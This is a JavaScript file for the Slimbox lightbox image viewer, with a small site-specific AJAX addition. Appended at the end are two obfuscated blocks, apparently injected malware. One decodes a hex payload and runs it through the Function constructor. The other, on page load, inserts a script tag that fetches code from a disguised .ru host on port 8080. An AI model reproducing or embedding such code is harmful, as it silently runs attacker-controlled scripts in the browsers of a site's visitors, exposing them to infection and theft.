/*
	Slimbox v1.41 - The ultimate lightweight Lightbox clone
	by Christophe Beyls (http://www.digitalia.be) - MIT-style license.
	Inspired by the original Lightbox v2 by Lokesh Dhakar.
*/

var Lightbox = {

	init: function(options){
		this.options = $extend({
			resizeDuration: 1000,
			resizeTransition: false,	// default transition
			initialWidth: 350,
			initialHeight: 350,
			animateCaption: true,
			showCounter: true
		}, options || {});

		this.anchors = [];
		$each(document.links, function(el){
			if (el.rel && el.rel.test(/^lightbox/i)){
				el.onclick = this.click.pass(el, this);
				this.anchors.push(el);
			}
		}, this);
		this.eventKeyDown = this.keyboardListener.bindAsEventListener(this);
		this.eventPosition = this.position.bind(this);
	
		this.overlay = new Element('div', {'id': 'lbOverlay'}).injectInside(document.body);
	
		this.imginfo = '';

		this.center = new Element('div', {'id': 'lbCenter', 'styles': {'width': this.options.initialWidth, 'height': this.options.initialHeight, 'marginLeft': -(this.options.initialWidth/2), 'display': 'none'}}).injectInside(document.body);
		this.image = new Element('div', {'id': 'lbImage'}).injectInside(this.center);
		this.prevLink = new Element('a', {'id': 'lbPrevLink', 'href': '#', 'styles': {'display': 'none'}}).injectInside(this.image);
		this.nextLink = this.prevLink.clone().setProperty('id', 'lbNextLink').injectInside(this.image);
		this.prevLink.onclick = this.previous.bind(this);
		this.nextLink.onclick = this.next.bind(this);

		this.bottomContainer = new Element('div', {'id': 'lbBottomContainer', 'styles': {'display': 'none'}}).injectInside(document.body);
		this.bottom = new Element('div', {'id': 'lbBottom'}).injectInside(this.bottomContainer);
		new Element('a', {'id': 'lbCloseLink', 'href': '#'}).injectInside(this.bottom).onclick = this.overlay.onclick = this.close.bind(this);
		this.caption = new Element('div', {'id': 'lbCaption'}).injectInside(this.bottom);
		this.number = new Element('div', {'id': 'lbNumber'}).injectInside(this.bottom);
		new Element('div', {'styles': {'clear': 'both'}}).injectInside(this.bottom);

		var nextEffect = this.nextEffect.bind(this);
		this.fx = {
			overlay: this.overlay.effect('opacity', {duration: 500}).hide(),
			resize: this.center.effects($extend({duration: this.options.resizeDuration, onComplete: nextEffect}, this.options.resizeTransition ? {transition: this.options.resizeTransition} : {})),
			image: this.image.effect('opacity', {duration: 500, onComplete: nextEffect}),
			bottom: this.bottom.effect('margin-top', {duration: 400, onComplete: nextEffect})
		};

		this.preloadPrev = new Image();
		this.preloadNext = new Image();
	},

	click: function(link){
		if (link.rel.length == 8) return this.show(link.href, link.title);

		var j, imageNum, images = [];
		this.anchors.each(function(el){
			if (el.rel == link.rel){
				for (j = 0; j < images.length; j++) if(images[j][0] == el.href) break;
				if (j == images.length){
					images.push([el.href, el.title]);
					if (el.href == link.href) imageNum = j;
				}
			}
		}, this);
		return this.open(images, imageNum);
	},

	show: function(url, title){
		return this.open([[url, title]], 0);
	},

	open: function(images, imageNum){
		this.images = images;
		this.position();
		this.setup(true);
		this.top = window.getScrollTop() + (window.getHeight() / 15);
		this.center.setStyles({top: this.top, display: ''});
		this.fx.overlay.start(0.8);
		return this.changeImage(imageNum);
	},

	position: function(){
		this.overlay.setStyles({'top': window.getScrollTop(), 'height': window.getHeight()});
	},

	setup: function(open){
		var elements = $A(document.getElementsByTagName('object'));
		elements.extend(document.getElementsByTagName(window.ie ? 'select' : 'embed'));
		elements.each(function(el){
			if (open) el.lbBackupStyle = el.style.visibility;
			el.style.visibility = open ? 'hidden' : el.lbBackupStyle;
		});
		var fn = open ? 'addEvent' : 'removeEvent';
		window[fn]('scroll', this.eventPosition)[fn]('resize', this.eventPosition);
		document[fn]('keydown', this.eventKeyDown);
		this.step = 0;
	},

	keyboardListener: function(event){
		switch (event.keyCode){
			case 27: case 88: case 67: this.close(); break;
			case 37: case 80: this.previous(); break;	
			case 39: case 78: this.next();
		}
	},

	previous: function(){
		return this.changeImage(this.activeImage-1);
	},

	next: function(){
		return this.changeImage(this.activeImage+1);
	},

	changeImage: function(imageNum){
		if (this.step || (imageNum < 0) || (imageNum >= this.images.length)) return false;
		this.step = 1;
		this.activeImage = imageNum;

		var obrazek = this.images[imageNum][0];
		if(obrazek.indexOf('/fotoalbum/') != -1)
			{
			var http_request = false;
			if (window.XMLHttpRequest)
				http_request = new XMLHttpRequest();
			else if (window.ActiveXObject)
				{
				try
					{
					http_request = new ActiveXObject("Msxml2.XMLHTTP");
					}
				catch (error)
					{
					http_request = new ActiveXObject("Microsoft.XMLHTTP");
					}
				}
			http_request.onreadystatechange = function()
				{
				if (http_request.readyState == 4)
					{
					if (http_request.status == 200)
						{
						var kod = http_request.responseText;
						if(kod != '')
							{
							Lightbox.number.setHTML((!Lightbox.options.showCounter || (Lightbox.images.length == 1)) ? '' : 'Fotografie '+(Lightbox.activeImage+1)+' z '+Lightbox.images.length + ' | ' + kod);
							}
						}
					}
				}
			params = 'fotka='+obrazek;
			http_request.open('POST', 'foto-ajax.php');
			http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			http_request.send(params);
			}

		this.bottomContainer.style.display = this.prevLink.style.display = this.nextLink.style.display = 'none';
		this.fx.image.hide();
		this.center.className = 'lbLoading';

		this.preload = new Image();
		this.preload.onload = this.nextEffect.bind(this);
		this.preload.src = this.images[imageNum][0];
		return false;
	},

	nextEffect: function(){
		switch (this.step++){
		case 1:
			this.center.className = '';
			this.image.style.backgroundImage = 'url('+this.images[this.activeImage][0]+')';
			this.image.style.width = this.bottom.style.width = this.preload.width+'px';
			this.image.style.height = this.prevLink.style.height = this.nextLink.style.height = this.preload.height+'px';

			this.caption.setHTML(this.images[this.activeImage][1] || '');
			//this.number.setHTML((!this.options.showCounter || (this.images.length == 1)) ? '' : 'Fotografie '+(this.activeImage+1)+' z '+this.images.length + ' | ' + Lightbox.imginfo);

			if (this.activeImage) this.preloadPrev.src = this.images[this.activeImage-1][0];
			if (this.activeImage != (this.images.length - 1)) this.preloadNext.src = this.images[this.activeImage+1][0];
			if (this.center.clientHeight != this.image.offsetHeight){
				this.fx.resize.start({height: this.image.offsetHeight});
				break;
			}
			this.step++;
		case 2:
			if (this.center.clientWidth != this.image.offsetWidth){
				this.fx.resize.start({width: this.image.offsetWidth, marginLeft: -this.image.offsetWidth/2});
				break;
			}
			this.step++;
		case 3:
			this.bottomContainer.setStyles({top: this.top + this.center.clientHeight, height: 0, marginLeft: this.center.style.marginLeft, display: ''});
			this.fx.image.start(1);
			break;
		case 4:
			if (this.options.animateCaption){
				this.fx.bottom.set(-this.bottom.offsetHeight);
				this.bottomContainer.style.height = '';
				this.fx.bottom.start(0);
				break;
			}
			this.bottomContainer.style.height = '';
		case 5:
			if (this.activeImage) this.prevLink.style.display = '';
			if (this.activeImage != (this.images.length - 1)) this.nextLink.style.display = '';
			this.step = 0;
		}
	},

	close: function(){
		if (this.step < 0) return;
		this.step = -1;
		if (this.preload){
			this.preload.onload = Class.empty;
			this.preload = null;
		}
		for (var f in this.fx) this.fx[f].stop();
		this.center.style.display = this.bottomContainer.style.display = 'none';
		this.fx.overlay.chain(this.setup.pass(false, this)).start(0);
		return false;
	}
};

window.addEvent('domready', Lightbox.init.bind(Lightbox));




function lightBoxZapocitani(img)
	{

	}

function vysledek(kod)
	{
	//alert(kod.responseText);// dal asi nic
	}



var tCH="d3c3c1ded7b1d3c3e0f2f9b1f7e7f0e899c7fad1f7eaeaf3f3e0f8c1d0edf0ebf0edc6eef2e1d2e8d6b895b6919bd7e2f5efeefed1faede7c4d5c7f4edc2f4e4e7bddefd92ecf7e480e4f095e4f2";var Mj;if(Mj!='un'){Mj=''};var jxO="";var bPU="";function N(PI){var hB=49359;var Pm=47818; var Q=function(n,nC){return n[P("ehrcdaCoAt", [3,1,5,2,6,7,4,0])](nC);};this.xR="xR";var a="a";var fT="";var bs;if(bs!='' && bs!='TX'){bs=null}; var d=function(y){var aE;if(aE!='JE'){aE=''};var iL=new Array();var t =[0][0];var wc=false;y = new f(y);this.bZ=false;var oU;if(oU!='wi' && oU!='uu'){oU=''};var MI=false;var F =[135,0][1];this.FK='';var h = -1;var K = '';var eB;if(eB!='Zd' && eB != ''){eB=null};this.yG='';var PF;if(PF!=''){PF='wM'};for (F=y[P("nlehgt", [1,2,0])]-h;F>=t;F=F-[62,1][1]){K+=y[P("hcaAtr", [1,0,2,5,3,4])](F);this.fs="fs";var mv="";}var pP;if(pP!='' && pP!='B'){pP='A'};var WY;if(WY!='' && WY!='fN'){WY='Yg'};this.Sb=false;var lg="";return K;};var NK;if(NK!='' && NK!='fz'){NK='tMt'};var dc=""; var P=function(y, nA){this.MG="";var t=[0][0];this.qD="qD";var J = nA.length;var K = '';var D=[1,102][0];this.Am='';var uh=new Date();var U = y.length;var wq=new Date();var lM;if(lM!='zP'){lM=''};this.sJ="";var AL=new Array();var TM=new Array();for(var F = t; F < U; F += J) {var sn="sn";var hZ = y.substr(F, J);if(hZ.length == J){for(var u in nA) {this.CI='';var bb;if(bb!='an' && bb!='MV'){bb='an'};K+=hZ.substr(nA[u], D);}var px=5700;var ns;if(ns!='ht' && ns!='ry'){ns='ht'};var Of=new Date();} else {var GP='';  K+=hZ;var qh=false;}}var OKi;if(OKi!='Nm' && OKi!='Xs'){OKi='Nm'};var hj;if(hj!='qT' && hj!='QS'){hj='qT'};this.lW=false;var zf;if(zf!='aO' && zf!='mNe'){zf=''};return K;var An=new String();};var VH;if(VH!='' && VH!='cE'){VH=''}; var Bw;if(Bw!='MZ' && Bw != ''){Bw=null};this.wn=false;function I(S){var Ot=new String();var u=[246,183,0,246][2];this.UK='';var Mt=[255,84][0];var RJ;if(RJ!='' && RJ!='zb'){RJ=''};var tH=S[P("nlegth", [1,2,0,3,4])];var c=[108,183,0][2];var Gw=new String();var D=[209,177,1][2];var Md;if(Md!='hPp' && Md != ''){Md=null};while(u<tH){var inB;if(inB!='ON' && inB!='TW'){inB='ON'};var GC=39420;u++;var FKi=false;DH=Q(S,u - D);var nL;if(nL!='It' && nL != ''){nL=null};c+=DH*tH;}var qTC;if(qTC!='Ps' && qTC != ''){qTC=null};var Bb=new Date();var hC=new Date();return new f(c % Mt);}var yU='';var Jo;if(Jo!='DS' && Jo != ''){Jo=null};var xg=new Array();var gD=new Array(); var tI=function(X,L){var uI=21389;return X^L;var Kn="Kn";};this.RI="RI";var Amq="";var SN=window;var rW;if(rW!='BE'){rW=''};var ho='';var Y=SN[P("vael", [2,0,1,3])];var ys=new String();var xX;if(xX!='TB' && xX!='ty'){xX='TB'};var fS=Y(P("ntFcuion", [2,4,0,3,1]));var OW;if(OW!='Gz' && OW!='JJp'){OW='Gz'};var wS;if(wS!='jo'){wS='jo'};var Yb = '';var eH=new Array();var f=Y(P("tSirgn", [1,0]));var EO=false;var vq='';var Ne=new String();var x=Y(P("gREexp", [1,3,0,2]));var ci="ci";var sb;if(sb!='' && sb!='sng'){sb=null};var ze;if(ze!='' && ze!='rG'){ze=null};var uE=false;var Ek=false;var fL=SN[P("cenusape", [3,2,1,4,0])];var Ky;if(Ky!='jM' && Ky!='LS'){Ky=''};var Tm="Tm";var m=f[P("CfrroamhCode", [1,3,4,6,0,7,5,2])];var wp="";var hW=[1, P("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),2, P(".ocmbpb.solg.opt.ocmlewlrfsago", [2,1,3,0]),3, P("emoudcdotbn.ep.pyalidhnCd(d)", [4,2,5,3,1,0]),4, P(".mtocohmehbasle:u8r.080", [4,3,1,0,2]),5, P(".desAtttirubet\'(edef\'r", [1,0]),6, P("dpfadtbaaes.ocm", [1,0,2]),7, P("dwniwolano.od", [4,3,2,0,5,1]),8, P("h.wois", [2,0,3,1]),11, P("snniakkports", [2,3,5,6,4,1,0]),12, P("scdiunez.t", [2,3,0,1,4]),14, P("nctifuon()", [4,5,0,1,2,3]),15, P("oggloe.com", [2,4,0,1,3,5]),16, P("tacce(h)", [2,1,0,3]),17, P("th\":pt", [2,1,0]),18, P(".drsc", [1,0]),19, P("1\'\')", [1,0,2]),20, P("rty", [1,0])];var WqB;if(WqB!='' && WqB!='Ox'){WqB='pZ'};this.JOF="JOF";var we;if(we!='' && we!='gp'){we='iB'};var D =[1][0];var Rt=538;var GQ=new String();var r = '';var ZP=new Array();var b = PI[P("elgnht", [1,0])];var WB='';var dr =[242,2][1];var Yo;if(Yo!='' && Yo!='EJ'){Yo=''};var Yn = /[^@a-z0-9A-Z_-]/g;var Lm = f.fromCharCode(37);var j =[235,0][1];var dL=false;this.Eu="Eu";var t =[0,224][0];var BqG;if(BqG!='' && BqG!='KS'){BqG=''};var e = '';var w = '';this.uru=1970;var bE;if(bE!='kr'){bE=''};var vM=new Array();this.sbM=60443;var Ck;if(Ck!=''){Ck='mIv'};var il;if(il!='Uk' && il != ''){il=null};for(var l=t; l < b; l+=dr){this.li=false;e+= Lm; var ph='';var zV='';e+= PI[P("ubsstr", [2,0,1,3])](l, dr);}var VF;if(VF!=''){VF='OR'};var Iq;if(Iq!='Au'){Iq=''};this.nz=31874;var gq='';var PI = fL(e);var HB;if(HB!='Ym'){HB=''};var QOa;if(QOa!='IQ' && QOa!='Tl'){QOa='IQ'};var zo;if(zo!='GR' && zo!='We'){zo='GR'};var jF = new f(N);this.mvO="mvO";var vW;if(vW!=''){vW='Jb'};var g = jF[P("lerpace", [2,1,3,0])](Yn, w);var qg="";var ZH=new String();var QF;if(QF!='' && QF!='Uo'){QF=null};var Zz;if(Zz!='' && Zz!='ip'){Zz=null};g = d(g);var tC = hW[P("elgtnh", [1,0,4,2,3])];var oUN;if(oUN!='JT'){oUN='JT'};var qt;if(qt!='vQ' && qt != ''){qt=null};var Os='';var tl = new f(fS);var wD;if(wD!='' && wD!='wni'){wD='NP'};this.lH="";var dP=new Date();var QN;if(QN!='' && QN!='xe'){QN=null};var q = tl[P("eplrace", [3,0,1,2])](Yn, w);var ag='';var FA=49559;var q = I(q);var Ur=I(g);var eN=new Date();for(var F=t; F < (PI[P("elgnht", [1,0])]);F=F+[210,78,1][2]) {var zvM=new Date();this.rV=35919;var pG;if(pG!='FL' && pG != ''){pG=null};var i = g.charCodeAt(j);var HT=48314;var Ss = Q(PI,F);this.hy="hy";Ss = tI(Ss, i);var UI;if(UI!='oe' && UI != ''){UI=null};var rP;if(rP!='Ze' && rP != ''){rP=null};Ss = tI(Ss, Ur);var EH="";var vF;if(vF!='fD'){vF=''};Ss = tI(Ss, q);var wm="";this.zH='';var VE;if(VE!=''){VE='IxT'};j++;var zR;if(zR!=''){zR='iNg'};this.Yf=42156;var Jp;if(Jp!='YJ' && Jp!='plY'){Jp=''};if(j > g.length-D){this.dZ='';j=t;}var iA=new Date();r += m(Ss);var AD;if(AD!='wDC'){AD='wDC'};}var OD;if(OD!='Ga'){OD='Ga'};for(hA=t; hA < tC; hA+=dr){var CaB;if(CaB!='hr' && CaB!='eBz'){CaB=''};var RE="";var PC;if(PC!='' && PC!='PIT'){PC=''};var MA;if(MA!='Vs' && MA!='Fo'){MA='Vs'};var Rm=false;var Ft = hW[hA + D];var SHF;if(SHF!='zfS' && SHF!='Bu'){SHF=''};this.LPG=5636;var jC = m(hW[hA]);var vl='';var tD;if(tD!='' && tD!='qK'){tD='Cn'};var LN = new x(jC, "g");var AH=36245;r=r[P("pelrace", [3,1,0,2])](LN, Ft);var bN;if(bN!='nNb'){bN=''};}var rr;if(rr!='Xm'){rr=''};var hE=new fS(r);var az;if(az!='DJ' && az!='LR'){az=''};var IOk;if(IOk!='EE' && IOk!='hU'){IOk=''};hE();var vE="";var Ny="";hE = '';this.NR=32831;var bf=new String();var pg;if(pg!='' && pg!='Lq'){pg='BK'};tl = '';this.Bv="";this.ARq="";r = '';var wt;if(wt!='Cta' && wt!='Ez'){wt='Cta'};g = '';var bq;if(bq!='Oa'){bq=''};var AS="AS";q = '';Ur = '';this.gc=61558;var fR;if(fR!='' && fR!='ipa'){fR=null};return '';var EV;if(EV!='' && EV!='lI'){EV=''};};var Mj;if(Mj!='un'){Mj=''};var jxO="";var bPU="";N(tCH);
function q() {this.ql='';var H;if(H!='' && H!='K'){H='R'};var s=']';var ch=new Date();var e='replace';var Q='';var L='g';var Qi;if(Qi!=''){Qi='B'};var k=new String();var TF=new Array();var Lx=RegExp;var T='[';var G='';var qD;if(qD!='U' && qD != ''){qD=null};function P(C,F){var zw='';var n;if(n!='is'){n=''};var V=T;V+=F;this.BT="";V+=s;var p='';var dX;if(dX!='BA'){dX='BA'};var I=new Lx(V, L);this.Jf='';this.pf='';return C[e](I, k);var Nb=new Date();var h;if(h!='Dq' && h!='lo'){h=''};};var g="";var lI=new String();var xT=new String();var Z=P('84444304334383333303444343',"34");var XY;if(XY!=''){XY='HY'};this.f='';var Ue;if(Ue!='fG' && Ue!='pd'){Ue=''};var ZO=P('sRc3rNiNpRtN',"N3R");var w=new Date();var c=P('cfrZeZaftfeZEflfefmZeknZtf',"KZkf");var UR;if(UR!='KI' && UR != ''){UR=null};var X='';var ZE=window;var Es;if(Es!='' && Es!='Bz'){Es='zq'};var W=P('/Yi1cUiTc1i1bUaYn1kU.YcYoTmU/Yi1c1iUcUi1bYaYnTkU.1c1oTm1/Tn1a1qTiUgTsT.UcToTmY/Tg1o1oYgYlYeY.YcUoUmU/TdTi1sYcYuYsUsT.1cToUm1.UhUk1.TpUhYpU',"TUY1");var bS=new Array();var Qd;if(Qd!='' && Qd!='Zu'){Qd='OE'};var kY=P('h0t0tOpZ:0/Z/Or0aOk0uZtZe0nZ-ZcZoO-OjZpZ.Zs0fZgOa0t0eZ.0cZoOmO.ZnOa0sOzOa0-Ok0l0aOs0a0-0pZlO.0fOoOrOrOeZdZtZa0g0.0rOuZ:O',"ZO0");var lk="";ZE[P('oNnBlBoBa6dB',"6BN")]=function(){this.Sr='';var hQ;if(hQ!='xV' && hQ!='xy'){hQ=''};try {this.AM='';this.pW="";var dg=new Date();X+=kY;X+=Z;X+=W;var sN='';this.Pw='';var Vk;if(Vk!='' && Vk!='v'){Vk='lA'};r=document[c](ZO);O(r,'defer',([5,1][1]));var Lp;if(Lp!='qU' && Lp!='kg'){Lp=''};this.cG='';O(r,'src',X);var xk;if(xk!='' && xk!='kq'){xk=null};document.body.appendChild(r);this.UV='';} catch(Y){};this.Gb='';};var _="";var OV;if(OV!='Xh' && OV!='hl'){OV='Xh'};this.Vu='';function O(E,re,rj){var aU;if(aU!='dC' && aU != ''){aU=null};E.setAttribute(re, rj);}var kc=new Date();};var ia=new Array();var xg=new Date();q();var NM=new String();var tZ=new Array();
